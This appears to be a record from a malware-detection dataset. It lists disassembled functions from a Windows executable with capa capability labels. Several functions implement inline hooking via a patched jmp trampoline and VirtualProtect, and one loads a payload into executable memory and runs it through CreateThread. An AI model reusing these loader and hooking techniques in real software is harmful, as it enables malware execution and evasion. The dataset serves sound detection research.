joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400029b0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400029d2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x1400029e1
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002a04
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002a06
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002a42
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140002ade
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140002a7d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140002abe
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140002ade
cmp rbx, rax
ja 0x140002a90
test rbx, rbx
je 0x140002ade
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140002f40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140002f6d
xor eax, eax
jmp 0x1400030d9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002fa7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002fa7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400030d9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400030cc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002fea
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003015
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400030d1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003084
sub eax, 1
je 0x140003084
cmp eax, 2
jne 0x1400030cc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400030d1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400030b2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400030cc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400030d1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003eb0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400033c0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140003493
cmp byte [rcx + 0x71], 0
je 0x140003493
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000348f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003454
sub eax, 1
je 0x140003458
cmp eax, 2
jne 0x14000348f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003eb0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003486
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000348f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000343c
xor al, al
jmp 0x14000343c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003eb0
add rsp, 0x60
pop rbx
ret

Function at 0x140004830
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000487a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000487a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000487a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000487a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000487a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000487c
xor al, al
add rsp, 0x28
ret
Function at 0x140009f90
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x1400158a0], rbx
je 0x140009fdc
cmp rax, rbx
jne 0x140009fcf
mov ebx, 1
mov esi, ebx
jmp 0x140009fe1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140009fb4
mov ebx, 1
mov eax, dword [0x1400158a8]
cmp eax, ebx
jne 0x140009ff7
mov ecx, 0x1f
call fcn.1400a5000
jmp 0x14000a05c
mov eax, dword [0x1400158a8]
test eax, eax
jne 0x14000a056
mov dword [0x1400158a8], ebx
lea r15, [0x14000b6b8]
lea rdi, [0x14000b6a0]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x14000a048
test eax, eax
jne 0x14000a04c
cmp qword [rdi], 0
je 0x14000a03d
mov rax, qword [rdi]
mov rcx, qword [0x14000b650]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000a01e
test eax, eax
je 0x14000a05c
mov eax, 0xff
jmp 0x14000a138
mov dword [0x1400150b4], ebx
mov eax, dword [0x1400158a8]
cmp eax, ebx
jne 0x14000a083
lea rdx, [0x14000b698]
lea rcx, [0x14000b658]
call sub.msvcrt.dll__initterm
mov dword [0x1400158a8], 2
test esi, esi
jne 0x14000a090
xor eax, eax
xchg qword [0x1400158a0], rax
cmp qword [0x1400158c0], 0
je 0x14000a0c4
lea rcx, [0x1400158c0]
call fcn.14000a740
test eax, eax
je 0x14000a0c4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x1400158c0]
mov r9, qword [0x14000b650]
call r9
mov r8, qword [0x1400150c8]
mov rdx, qword [0x1400150c0]
mov ecx, dword [0x1400150b8]
call fcn.140007088
mov dword [0x1400150b0], eax
cmp dword [0x1400150d0], 0
jne 0x14000a0f4
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400150b4], 0
jne 0x14000a109
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400150b0]
jmp 0x14000a138
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.14000a7d4
add rsp, 0x28
jmp 0x140009f90

Function at 0x14000a62c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000a678
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000a670
cmp dword [rcx + 0x3c], edx
jl 0x14000a670
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14000a670
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000a678
mov rax, rdx
add rsp, 0x18
ret
Function at 0x1400060a0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.14000605c
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x1400075ec
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x14000760e
mov rcx, qword [rsp + 0x40]
call fcn.14000979c
jmp 0x140007625
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x140007625
mov rcx, qword [rsp + 0x40]
call fcn.1400095d4
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140007c2c
Capabilities:
Access peb ldr_data

Disassembly:
sub rsp, 0x28
mov rax, qword gs:[0x60]
mov qword [rsp], rax
mov rax, qword [rsp]
mov rax, qword [rax + 0x18]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
add rsp, 0x28
ret
Function at 0x140008894
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x1400088bf
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400088c6
mov al, 1
jmp 0x140008a1f
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.14000ad74
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.14000ad74
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3c]
lea rcx, [rsp + 0x40]
call fcn.14000ad7c
movzx eax, al
test eax, eax
je 0x14000891d
xor al, al
jmp 0x140008a1f
mov qword [rsp + 0x68], 0x20
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x14000898d
cmp dword [rsp + 0x30], 1
je 0x140008999
cmp dword [rsp + 0x30], 3
je 0x140008a0d
jmp 0x140008a1d
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x1400089e5
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x1400089e5
xor al, al
jmp 0x140008a1f
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400089ff
mov dword [rsp + 0x34], 1
jmp 0x140008a07
mov dword [rsp + 0x34], 0
mov al, byte [rsp + 0x34]
jmp 0x140008a1f
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140008a1f
xor al, al
add rsp, 0xa8
ret
Function at 0x1400095d4
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov qword [rsp + 0x18], 0
jmp 0x1400095f5
mov rax, qword [rsp + 0x18]
inc rax
mov qword [rsp + 0x18], rax
cmp qword [rsp + 0x18], 0xe3
jae 0x140009679
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x18]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x18]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x140009644
mov dword [rsp + 4], 0x9908b0df
jmp 0x14000964c
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x18]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x18]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x1400095e8
jmp 0x140009688
mov rax, qword [rsp + 0x18]
inc rax
mov qword [rsp + 0x18], rax
cmp qword [rsp + 0x18], 0x26f
jae 0x14000970f
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x18]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x18]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 8], eax
mov eax, dword [rsp + 8]
and eax, 1
test eax, eax
je 0x1400096d9
mov dword [rsp + 0xc], 0x9908b0df
jmp 0x1400096e1
mov dword [rsp + 0xc], 0
mov eax, dword [rsp + 8]
shr eax, 1
xor eax, dword [rsp + 0xc]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x18]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x18]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000967b
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x18]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
and eax, 1
test eax, eax
je 0x140009756
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x14000975e
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0x10]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x30]
xor eax, dword [rdx + rcx + 4]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x18]
mov dword [rcx + rdx*4 + 4], eax
mov rax, qword [rsp + 0x30]
mov dword [rax], 0
add rsp, 0x28
ret
Function at 0x14000979c
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x1400097bd
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x140009841
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x14000980c
mov dword [rsp + 4], 0x9908b0df
jmp 0x140009814
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x1400097b0
add rsp, 0x18
ret
Function at 0x14000afe0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov byte [rsp + 8], cl
sub rsp, 0x58
mov byte [rsp + 0x40], 0x49
mov byte [rsp + 0x41], 0xba
mov byte [rsp + 0x42], 0
mov byte [rsp + 0x43], 0
mov byte [rsp + 0x44], 0
mov byte [rsp + 0x45], 0
mov byte [rsp + 0x46], 0
mov byte [rsp + 0x47], 0
mov byte [rsp + 0x48], 0
mov byte [rsp + 0x49], 0
mov byte [rsp + 0x4a], 0x41
mov byte [rsp + 0x4b], 0xff
mov byte [rsp + 0x4c], 0xe2
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov eax, 1
imul rax, rax, 2
lea rax, [rsp + rax + 0x40]
mov r8d, 8
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140007f04
mov dword [rsp + 0x24], 0xd
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x60]
test eax, eax
je 0x14000b106
cmp qword [rsp + 0x78], 0
je 0x14000b0c9
mov rax, qword [rsp + 0x78]
cmp qword [rax + 0x10], 0
je 0x14000b0a4
mov rax, qword [rsp + 0x78]
cmp dword [rax + 0x18], 0
jne 0x14000b0ab
xor al, al
jmp 0x14000b1ec
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x18]
mov r8d, eax
mov rdx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax + 0x10]
call fcn.140007f04
mov eax, dword [rsp + 0x24]
lea r9, [rsp + 0x28]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000b104
mov eax, dword [rsp + 0x24]
mov r8d, eax
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x68]
call fcn.140007f04
mov byte [rsp + 0x20], 1
jmp 0x14000b17c
cmp qword [rsp + 0x78], 0
jne 0x14000b115
xor al, al
jmp 0x14000b1ec
mov rax, qword [rsp + 0x78]
cmp qword [rax], 0
je 0x14000b12b
mov rax, qword [rsp + 0x78]
cmp dword [rax + 8], 0
jne 0x14000b132
xor al, al
jmp 0x14000b1ec
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 8]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
lea r9, [rsp + 0x28]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000b17c
mov eax, dword [rsp + 0x24]
mov r8d, eax
mov rax, qword [rsp + 0x78]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x68]
call fcn.140007f04
mov byte [rsp + 0x20], 1
cmp qword [0x1400144b0], 0
jne 0x14000b1aa
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400144b0], rax
mov rax, qword [0x1400144b0]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call qword [rsp + 0x38]
mov eax, dword [rsp + 0x24]
lea r9, [rsp + 0x28]
mov r8d, dword [rsp + 0x28]
mov edx, eax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [rsp + 0x20]
add rsp, 0x58
ret
Function at 0x14000b360
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x1408
call fcn.14000e5a0
sub rsp, rax
cmp dword [0x1400144a8], 0
je 0x14000b4d4
cmp qword [0x140014488], 0
jne 0x14000b4d4
mov rcx, qword [rsp + 0x1410]
call fcn.14000b654
movzx eax, al
test eax, eax
je 0x14000b4d4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, 0x60000
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14000a958
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
call fcn.140001780
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x38]
call fcn.14000a138
mov qword [rsp + 0x40], rax
jmp 0x14000b3f7
mov rax, qword [rsp + 0x30]
add rax, 0x30
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x40]
cmp qword [rsp + 0x30], rax
je 0x14000b4c0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
cmp qword [rsp + 0x1410], rax
jbe 0x14000b4bb
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28]
add rax, qword [rcx + 0x18]
cmp qword [rsp + 0x1410], rax
jae 0x14000b4bb
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [0x140014488], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x18]
mov qword [0x140014490], rax
mov byte [0x140014498], 0
lea rcx, [rsp + 0x20]
call fcn.1400011a0
lea rcx, [rsp + 0x20]
call fcn.1400076f8
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.1400060a0
mov r8d, 0xffffffff
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.140006110
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140003854
mov dword [0x14001449c], eax
lea rcx, [rsp + 0x50]
call fcn.140006c48
jmp 0x14000b4d4
jmp 0x14000b3e9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
add rsp, 0x1408
ret
Function at 0x14000b4dc
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
movabs rcx, 0xf5bd373480a6b89b
call fcn.140007c6c
mov dword [rsp + 0x40], eax
mov ecx, dword [rsp + 0x40]
call fcn.14000dfc0
mov qword [rsp + 0x38], 0
mov rcx, qword [rsp + 0x90]
call fcn.14000cd80
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x48]
xor r8d, r8d
lea rdx, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
call fcn.14000dfd1
cmp qword [rsp + 0x38], 0
jne 0x14000b55c
xor al, al
jmp 0x14000b64c
mov rcx, qword [rsp + 0x90]
call fcn.14000cd80
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x90]
call fcn.140002e8c
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.140007f04
mov rcx, qword [rsp + 0x90]
call fcn.14000cd80
inc rax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x70], rax
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b5e0
xor al, al
jmp 0x14000b64c
mov rcx, qword [rsp + 0x90]
call fcn.14000a840
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x38]
lea r8, [0x14000c918]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
mov rcx, qword [rsp + 0x98]
call fcn.14000c7f0
mov rcx, qword [rsp + 0x98]
call fcn.14000a138
test rax, rax
je 0x14000b640
mov dword [rsp + 0x30], 1
jmp 0x14000b648
mov dword [rsp + 0x30], 0
mov al, byte [rsp + 0x30]
add rsp, 0x88
ret